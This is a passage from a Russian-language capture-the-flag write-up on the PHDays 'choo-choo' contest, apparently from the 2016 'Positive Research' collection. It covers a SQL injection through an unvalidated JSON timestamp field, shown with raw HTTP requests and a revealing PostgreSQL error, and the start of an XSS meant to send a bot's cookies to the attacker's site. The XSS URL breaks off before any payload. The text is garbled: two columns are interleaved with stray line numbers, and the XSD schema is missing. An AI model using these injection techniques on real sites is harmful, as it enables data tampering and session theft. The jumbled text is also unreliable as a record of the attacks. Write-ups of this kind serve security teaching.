53 Warm-up XSD-валидация 55 57 Уязвимость присутствовала в сценарии, который отслеживал актив- На сайте была форма для поиска билетов, который осуществлялся 59 ность пользователя на сайте: путем формирования XML и отправки запроса на бекенд. 61 63 65 POST /online.php HTTP/1.1 POST /tickets.php HTTP/1.1 67 Host: choo-choo.phdays.com Host: choo-choo.phdays.com 69 Connection: keep-alive Connection: keep-alive 71 Content-Length: 24 Content-Length: 220 73 Content-Type: application/json Content-Type: text/xml 75 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36 77 {"timestamp":1432906707} 81 Moscow 83 Saint-Petersbourg 85 30/05/2015 Значения поля timestamp из JSON-данных в POST-запросе не валиди- 87 ровались перед использованием в SQL-запросе: 89 91


Для XML-запроса использовалась XSD-схема: 93 Warning: pg_query(): Query failed: ERROR: invalid input 95 syntax for integer: "1432906707' " 97 LINE 1: UPDATE activity SET timestamp = '1432906707'' ' WHERE id=1 99 ^ in /var/www/php/online.php > on line 8
103

// наша школа positive research 2016

02 Cross Site Scripting 04 Уязвимость была заложена на странице поиска по сайту. Чтобы полу- 06 чить флаг, требовалось отправить куки бота на свой сайт. Для обхода 08 можно было использовать нестандартные атрибуты тэгов, которые 10 обрабатываются библиотекой bootstrap-validator, позволяя выпол- 12 нять JavaScript-код: 14 16 18 20 http://choo-choo.phdays.com/index.php?search=">